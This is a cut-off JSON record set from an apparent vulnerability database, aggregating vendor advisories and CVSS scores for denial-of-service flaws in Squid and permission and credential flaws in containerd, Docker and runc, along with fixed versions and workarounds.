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(CVE-2021-28652)\n\n - Squid before 4.15 and 5.x before 5.0.6 allows remote servers to cause a denial of service (affecting\n availability to all clients) via an HTTP response. The issue trigger is a header that can be expected to\n exist in HTTP traffic without any malicious intent by the server. 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If a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format includes a URL for the location of a specific image layer (otherwise known as a foreign layer), the default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or later, the default containerd resolver will provide its authentication credentials if the server where the URL is located presents an HTTP 401 status code along with registry-specific HTTP headers. If an attacker publishes a public image with a manifest that directs one of the layers to be fetched from a web server they control and they trick a user or system into pulling the image, they can obtain the credentials used for pulling that image. In some cases, this may be the user's username and password for the registry. In other cases, this may be the credentials attached to the cloud virtual instance which can grant access to other cloud resources in the account. The default containerd resolver is used by the cri-containerd plugin (which can be used by Kubernetes), the ctr development tool, and other client programs that have explicitly linked against it. This vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and later are not affected. If you are using containerd 1.3 or later, you are not affected. If you are using cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources.\n Other container runtimes built on top of containerd but not using the default resolver (such as Docker) are not affected. (CVE-2020-15157)\n\n - containerd is an industry-standard container runtime and is available as a daemon for Linux and Windows.\n In containerd before versions 1.3.9 and 1.4.3, the containerd-shim API is improperly exposed to host network containers. Access controls for the shim's API socket verified that the connecting process had an effective UID of 0, but did not otherwise restrict access to the abstract Unix domain socket. This would allow malicious containers running in the same network namespace as the shim, with an effective UID of 0 but otherwise reduced privileges, to cause new processes to be run with elevated privileges. This vulnerability has been fixed in containerd 1.3.9 and 1.4.3. Users should update to these versions as soon as they are released. It should be noted that containers started with an old version of containerd-shim should be stopped and restarted, as running containers will continue to be vulnerable even after an upgrade. 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A bug was found in containerd versions prior to 1.4.8 and 1.5.4 where pulling and extracting a specially-crafted container image can result in Unix file permission changes for existing files in the host's filesystem. Changes to file permissions can deny access to the expected owner of the file, widen access to others, or set extended bits like setuid, setgid, and sticky. This bug does not directly allow files to be read, modified, or executed without an additional cooperating process. This bug has been fixed in containerd 1.5.4 and 1.4.8. As a workaround, ensure that users only pull images from trusted sources. Linux security modules (LSMs) like SELinux and AppArmor can limit the files potentially affected by this bug through policies and profiles that prevent containerd from interacting with specific files. (CVE-2021-32760)\n\n - containerd is an open source container runtime with an emphasis on simplicity, robustness and portability.\n A bug was found in containerd where container root directories and some plugins had insufficiently restricted permissions, allowing otherwise unprivileged Linux users to traverse directory contents and execute programs. When containers included executable programs with extended permission bits (such as setuid), unprivileged Linux users could discover and execute those programs. When the UID of an unprivileged Linux user on the host collided with the file owner or group inside a container, the unprivileged Linux user on the host could discover, read, and modify those files. This vulnerability has been fixed in containerd 1.4.11 and containerd 1.5.7. Users should update to these version when they are released and may restart containers or update directory permissions to mitigate the vulnerability. Users unable to update should limit access to the host to trusted users. Update directory permission on container bundles directories. (CVE-2021-41103)\n\n - Moby is an open-source project created by Docker to enable and accelerate software containerization. A bug was found in Moby (Docker Engine) prior to version 20.10.14 where containers were incorrectly started with non-empty inheritable Linux process capabilities, creating an atypical Linux environment and enabling programs with inheritable file capabilities to elevate those capabilities to the permitted set during `execve(2)`. Normally, when executable programs have specified permitted file capabilities, otherwise unprivileged users and processes can execute those programs and gain the specified file capabilities up to the bounding set. Due to this bug, containers which included executable programs with inheritable file capabilities allowed otherwise unprivileged users and processes to additionally gain these inheritable file capabilities up to the container's bounding set. Containers which use Linux users and groups to perform privilege separation inside the container are most directly impacted. This bug did not affect the container security sandbox as the inheritable set never contained more capabilities than were included in the container's bounding set. This bug has been fixed in Moby (Docker Engine) 20.10.14. Running containers should be stopped, deleted, and recreated for the inheritable capabilities to be reset. This fix changes Moby (Docker Engine) behavior such that containers are started with a more typical Linux environment. As a workaround, the entry point of a container can be modified to use a utility like `capsh(1)` to drop inheritable capabilities prior to the primary process starting. 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Linux security modules (LSMs) like SELinux and AppArmor can limit the files potentially affected by this bug through policies and profiles that prevent containerd from interacting with specific files. (CVE-2021-32760)\n\n - Moby is an open-source project created by Docker to enable software containerization. A bug was found in Moby (Docker Engine) where attempting to copy files using `docker cp` into a specially-crafted container can result in Unix file permission changes for existing files in the host's filesystem, widening access to others. This bug does not directly allow files to be read, modified, or executed without an additional cooperating process. This bug has been fixed in Moby (Docker Engine) 20.10.9. Users should update to this version as soon as possible. Running containers do not need to be restarted. (CVE-2021-41089)\n\n - Moby is an open-source project created by Docker to enable software containerization. A bug was found in Moby (Docker Engine) where the data directory (typically `/var/lib/docker`) contained subdirectories with insufficiently restricted permissions, allowing otherwise unprivileged Linux users to traverse directory contents and execute programs. When containers included executable programs with extended permission bits (such as `setuid`), unprivileged Linux users could discover and execute those programs. When the UID of an unprivileged Linux user on the host collided with the file owner or group inside a container, the unprivileged Linux user on the host could discover, read, and modify those files. This bug has been fixed in Moby (Docker Engine) 20.10.9. Users should update to this version as soon as possible. Running containers should be stopped and restarted for the permissions to be fixed. For users unable to upgrade limit access to the host to trusted users. Limit access to host volumes to trusted containers.\n (CVE-2021-41091)\n\n - Docker CLI is the command line interface for the docker container runtime. A bug was found in the Docker CLI where running `docker login my-private-registry.example.com` with a misconfigured configuration file (typically `~/.docker/config.json`) listing a `credsStore` or `credHelpers` that could not be executed would result in any provided credentials being sent to `registry-1.docker.io` rather than the intended private registry. This bug has been fixed in Docker CLI 20.10.9. Users should update to this version as soon as possible. For users unable to update ensure that any configured credsStore or credHelpers entries in the configuration file reference an installed credential helper that is executable and on the PATH.\n (CVE-2021-41092)\n\n - containerd is an open source container runtime with an emphasis on simplicity, robustness and portability.\n A bug was found in containerd where container root directories and some plugins had insufficiently restricted permissions, allowing otherwise unprivileged Linux users to traverse directory contents and execute programs. When containers included executable programs with extended permission bits (such as setuid), unprivileged Linux users could discover and execute those programs. When the UID of an unprivileged Linux user on the host collided with the file owner or group inside a container, the unprivileged Linux user on the host could discover, read, and modify those files. This vulnerability has been fixed in containerd 1.4.11 and containerd 1.5.7. Users should update to these version when they are released and may restart containers or update directory permissions to mitigate the vulnerability. Users unable to update should limit access to the host to trusted users. Update directory permission on container bundles directories. (CVE-2021-41103)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.5, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-10-28T00:00:00", "type": "nessus", "title": "SUSE SLES15 Security Update : containerd, docker, runc (SUSE-SU-2021:3506-1)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30465", "CVE-2021-32760", "CVE-2021-41089", "CVE-2021-41091", "CVE-2021-41092", "CVE-2021-41103"], "modified": "2022-05-09T00:00:00", "cpe": ["p-cpe:/a:novell:suse_linux:containerd", "p-cpe:/a:novell:suse_linux:docker", "p-cpe:/a:novell:suse_linux:docker-bash-completion", "p-cpe:/a:novell:suse_linux:docker-fish-completion", "p-cpe:/a:novell:suse_linux:runc", "cpe:/o:novell:suse_linux:15"], "id": "SUSE_SU-2021-3506-1.NASL", "href": "https://www.tenable.com/plugins/nessus/154638", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n#\n# The package checks in this plugin were extracted from\n# SUSE update advisory SUSE-SU-2021:3506-1. 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A bug was found in Moby (Docker Engine) where the data directory (typically `/var/lib/docker`) contained subdirectories with insufficiently restricted permissions, allowing otherwise unprivileged Linux users to traverse directory contents and execute programs. When containers included executable programs with extended permission bits (such as `setuid`), unprivileged Linux users could discover and execute those programs. When the UID of an unprivileged Linux user on the host collided with the file owner or group inside a container, the unprivileged Linux user on the host could discover, read, and modify those files. This bug has been fixed in Moby (Docker Engine) 20.10.9. Users should update to this version as soon as possible. Running containers should be stopped and restarted for the permissions to be fixed. For users unable to upgrade limit access to the host to trusted users. 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However, there is an unspecified attack \n methodology that can easily trigger a large amount of memory \n consumption.\n\nCVE-2021-28652\n\n Due to incorrect parser validation, it allows a Denial of Service \n attack against the Cache Manager API. This allows a trusted client \n to trigger memory leaks that. over time, lead to a Denial of \n Service via an unspecified short query string. This attack is \n limited to clients with Cache Manager API access privilege.\n\nCVE-2021-31806\n\n Due to a memory-management bug, it is vulnerable to a Denial of \n Service attack (against all clients using the proxy) via HTTP \n Range request processing.\n\nCVE-2021-31807\n\n An integer overflow problem allows a remote server to achieve \n Denial of Service when delivering responses to HTTP Range \n requests. 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However, there is an unspecified attack\n methodology that can easily trigger a large amount of memory\n consumption.\n* [CVE-2021-28652](https://security-tracker.debian.org/tracker/CVE-2021-28652)\nDue to incorrect parser validation, it allows a Denial of Service\n attack against the Cache Manager API. This allows a trusted client\n to trigger memory leaks that. over time, lead to a Denial of\n Service via an unspecified short query string. This attack is\n limited to clients with Cache Manager API access privilege.\n* [CVE-2021-31806](https://security-tracker.debian.org/tracker/CVE-2021-31806)\nDue to a memory-management bug, it is vulnerable to a Denial of\n Service attack (against all clients using the proxy) via HTTP\n Range request processing.\n* [CVE-2021-31807](https://security-tracker.debian.org/tracker/CVE-2021-31807)\nAn integer overflow problem allows a remote server to achieve\n Denial of Service when delivering responses to HTTP Range\n requests. The issue trigger is a header that can be expected to\n exist in HTTP traffic without any malicious intent.\n* [CVE-2021-31808](https://security-tracker.debian.org/tracker/CVE-2021-31808)\nDue to an input-validation bug, it is vulnerable to a Denial of\n Service attack (against all clients using the proxy). A client\n sends an HTTP Range request to trigger this.\n* [CVE-2021-33620](https://security-tracker.debian.org/tracker/CVE-2021-33620)\nRemote servers to cause a denial of service (affecting\n availability to all clients) via an HTTP response. The issue\n trigger is a header that can be expected to exist in HTTP traffic\n without any malicious intent by the server.\n\n\nFor Debian 9 stretch, these problems have been fixed in version\n3.5.23-5+deb9u7.\n\n\nWe recommend that you upgrade your squid3 packages.\n\n\nFor the detailed security status of squid3 please refer to\nits security tracker page at:\n<https://security-tracker.debian.org/tracker/squid3>\n\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: <https://wiki.debian.org/LTS>\n\n\n", "edition": 1, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-06-28T00:00:00", "type": "osv", "title": "squid3 - security update", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31806", "CVE-2021-31808", "CVE-2021-28651", "CVE-2021-28652", "CVE-2021-31807", "CVE-2021-33620"], "modified": "2022-08-05T05:19:08", "id": "OSV:DLA-2685-1", "href": "https://osv.dev/vulnerability/DLA-2685-1", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2022-08-10T07:20:11", "description": "\nMultiple denial of service vulnerabilities were discovered in the Squid\nproxy caching server.\n\n\nFor the stable distribution (buster), these problems have been fixed in\nversion 4.6-1+deb10u6.\n\n\nWe recommend that you upgrade your squid packages.\n\n\nFor the detailed security status of squid please refer to\nits security tracker page at:\n[\\\nhttps://security-tracker.debian.org/tracker/squid](https://security-tracker.debian.org/tracker/squid)\n\n\n", "edition": 1, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-06-01T00:00:00", "type": "osv", "title": "squid - security update", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31806", "CVE-2021-31808", "CVE-2021-28651", "CVE-2021-28662", "CVE-2021-28652", "CVE-2021-31807", "CVE-2021-33620"], "modified": "2022-08-10T07:20:04", "id": "OSV:DSA-4924-1", "href": "https://osv.dev/vulnerability/DSA-4924-1", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2022-10-25T20:52:14", "description": "## Impact\n\nA bug was found in containerd where pulling and extracting a specially-crafted container image can result in Unix file permission changes for existing files in the host\u2019s filesystem. Changes to file permissions can deny access to the expected owner of the file, widen access to others, or set extended bits like setuid, setgid, and sticky. This bug does not directly allow files to be read, modified, or executed without an additional cooperating process.\n\n## Patches\n\nThis bug has been fixed in containerd 1.5.4 and 1.4.8. Users should update to these versions as soon as they are released. Running containers do not need to be restarted.\n\n## Workarounds\n\nEnsure you only pull images from trusted sources.\n\nLinux security modules (LSMs) like SELinux and AppArmor can limit the files potentially affected by this bug through policies and profiles that prevent containerd from interacting with unexpected files.\n\n## For more information\n\nIf you have any questions or comments about this advisory:\n\n* [Open an issue](https://github.com/containerd/containerd/issues/new/choose)\n* Email us at security@containerd.io if you think you\u2019ve found a security bug.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.4}, "published": "2021-07-26T21:17:45", "type": "osv", "title": "Archive package allows chmod of file outside of unpack target directory", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-32760"], "modified": "2022-10-25T20:25:56", "id": "OSV:GHSA-C72P-9XMJ-RX3W", "href": "https://osv.dev/vulnerability/GHSA-c72p-9xmj-rx3w", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "redhat": [{"lastseen": "2021-11-22T18:42:10", "description": "Squid is a high-performance proxy caching server for web clients, supporting FTP, Gopher, and HTTP data objects.\n\nThe following packages have been upgraded to a later upstream version: squid (4.15). (BZ#1964384)\n\nSecurity Fix(es):\n\n* squid: denial of service in URN processing (CVE-2021-28651)\n\n* squid: denial of service issue in Cache Manager (CVE-2021-28652)\n\n* squid: denial of service in HTTP response processing (CVE-2021-28662)\n\n* squid: improper input validation in HTTP Range header (CVE-2021-31806)\n\n* squid: incorrect memory management in HTTP Range header (CVE-2021-31807)\n\n* squid: integer overflow in HTTP Range header (CVE-2021-31808)\n\n* squid: denial of service in HTTP response processing (CVE-2021-33620)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n\nAdditional Changes:\n\nFor detailed information on changes in this release, see the Red Hat Enterprise Linux 8.5 Release Notes linked from the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2021-11-09T08:56:14", "type": "redhat", "title": "(RHSA-2021:4292) Moderate: squid:4 security, bug fix, and enhancement update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28651", "CVE-2021-28652", "CVE-2021-28662", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808", "CVE-2021-33620"], "modified": "2021-11-09T14:10:11", "id": "RHSA-2021:4292", "href": "https://access.redhat.com/errata/RHSA-2021:4292", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2022-09-07T20:04:55", "description": "Release osp-director-operator images\n\nSecurity Fix(es):\n\n* golang: kubernetes: YAML parsing vulnerable to \"Billion Laughs\" attack, allowing for remote (CVE-2019-11253)\n* golang: golang-github-miekg-dns: predictable TXID can lead to response forgeries (CVE-2019-19794)\n* golang: containerd: unrestricted access to abstract Unix domain socket can lead to privileges (CVE-2020-15257)\n* golang: ulikunitz/xz: Infinite loop in readUvarint allows for denial of service (CVE-2021-29482)\n* golang: containerd: pulling and extracting crafted container image may result in Unix file permission changes (CVE-2021-32760)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage listed in the References section.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-05-11T11:27:13", "type": "redhat", "title": "(RHSA-2022:2183) Moderate: Release of containers for OSP 16.2.z director operator tech preview", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-25032", "CVE-2019-11253", "CVE-2019-19794", "CVE-2020-15257", "CVE-2021-29482", "CVE-2021-32760", "CVE-2022-1154", "CVE-2022-1271"], "modified": "2022-05-11T11:28:20", "id": "RHSA-2022:2183", "href": "https://access.redhat.com/errata/RHSA-2022:2183", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "almalinux": [{"lastseen": "2022-09-14T18:10:37", "description": "Squid is a high-performance proxy caching server for web clients, supporting FTP, Gopher, and HTTP data objects.\n\nThe following packages have been upgraded to a later upstream version: squid (4.15). (BZ#1964384)\n\nSecurity Fix(es):\n\n* squid: denial of service in URN processing (CVE-2021-28651)\n\n* squid: denial of service issue in Cache Manager (CVE-2021-28652)\n\n* squid: denial of service in HTTP response processing (CVE-2021-28662)\n\n* squid: improper input validation in HTTP Range header (CVE-2021-31806)\n\n* squid: incorrect memory management in HTTP Range header (CVE-2021-31807)\n\n* squid: integer overflow in HTTP Range header (CVE-2021-31808)\n\n* squid: denial of service in HTTP response processing (CVE-2021-33620)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n\nAdditional Changes:\n\nFor detailed information on changes in this release, see the AlmaLinux Release Notes linked from the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-11-09T08:56:14", "type": "almalinux", "title": "Moderate: squid:4 security, bug fix, and enhancement update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28651", "CVE-2021-28652", "CVE-2021-28662", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808", "CVE-2021-33620"], "modified": "2021-11-09T13:01:13", "id": "ALSA-2021:4292", "href": "https://errata.almalinux.org/8/ALSA-2021-4292.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}], "rocky": [{"lastseen": "2023-01-16T23:05:47", "description": "An update for the squid:4 module is now available for Rocky Linux 8.\nRocky Enterprise Software Foundation Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.\nSquid is a high-performance proxy caching server for web clients, supporting FTP, Gopher, and HTTP data objects.\nThe following packages have been upgraded to a later upstream version: squid (4.15). (BZ#1964384)\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\nAdditional Changes:\nFor detailed information on changes in this release, see the Rocky Linux 8.5 Release Notes linked from the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-11-09T00:00:00", "type": "rocky", "title": "squid:4 security, bug fix, and enhancement update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28651", "CVE-2021-28652", "CVE-2021-28662", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808", "CVE-2021-33620"], "modified": "2021-11-09T00:00:00", "id": "RLSA-2021:4292", "href": "https://errata.rockylinux.org/RLSA-2021:4292", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}], "ubuntu": [{"lastseen": "2023-01-26T15:21:49", "description": "## Releases\n\n * Ubuntu 21.04 \n * Ubuntu 20.10 \n * Ubuntu 20.04 LTS\n * Ubuntu 18.04 LTS\n\n## Packages\n\n * squid \\- Web proxy cache server\n * squid3 \\- Web proxy cache server\n\nJoshua Rogers discovered that Squid incorrectly handled requests with the \nurn: scheme. A remote attacker could possibly use this issue to cause \nSquid to consume resources, leading to a denial of service. \n(CVE-2021-28651)\n\nJoshua Rogers discovered that Squid incorrectly handled requests to the \nCache Manager API. A remote attacker with access privileges could possibly \nuse this issue to cause Squid to consume resources, leading to a denial of \nservice. This issue was only addressed in Ubuntu 20.04 LTS, Ubuntu 20.10, \nand Ubuntu 21.04. (CVE-2021-28652)\n\nJoshua Rogers discovered that Squid incorrectly handled certain response \nheaders. A remote attacker could possibly use this issue to cause Squid to \ncrash, resulting in a denial of service. This issue was only affected \nUbuntu 20.04 LTS, Ubuntu 20.10, and Ubuntu 21.04. (CVE-2021-28662)\n\nJoshua Rogers discovered that Squid incorrectly handled range request \nprocessing. A remote attacker could possibly use this issue to cause Squid \nto crash, resulting in a denial of service. (CVE-2021-31806, \nCVE-2021-31807, CVE-2021-31808)\n\nJoshua Rogers discovered that Squid incorrectly handled certain HTTP \nresponses. A remote attacker could possibly use this issue to cause Squid \nto crash, resulting in a denial of service. (CVE-2021-33620)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-06-03T00:00:00", "type": "ubuntu", "title": "Squid vulnerabilities", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28651", "CVE-2021-28652", "CVE-2021-28662", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808", "CVE-2021-33620"], "modified": "2021-06-03T00:00:00", "id": "USN-4981-1", "href": "https://ubuntu.com/security/notices/USN-4981-1", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2023-01-26T15:20:44", "description": "## Releases\n\n * Ubuntu 21.04 \n * Ubuntu 20.10 \n * Ubuntu 20.04 LTS\n * Ubuntu 18.04 LTS\n\n## Packages\n\n * containerd \\- daemon to control runC\n\nIt was discovered that containerd incorrectly handled file permission \nchanges. If a user or automated system were tricked into launching a \nspecially crafted container image, a remote attacker could change \npermissions on files on the host filesystem and possibly escalate \nprivileges.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.4}, "published": "2021-07-20T00:00:00", "type": "ubuntu", "title": "containerd vulnerabilities", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, 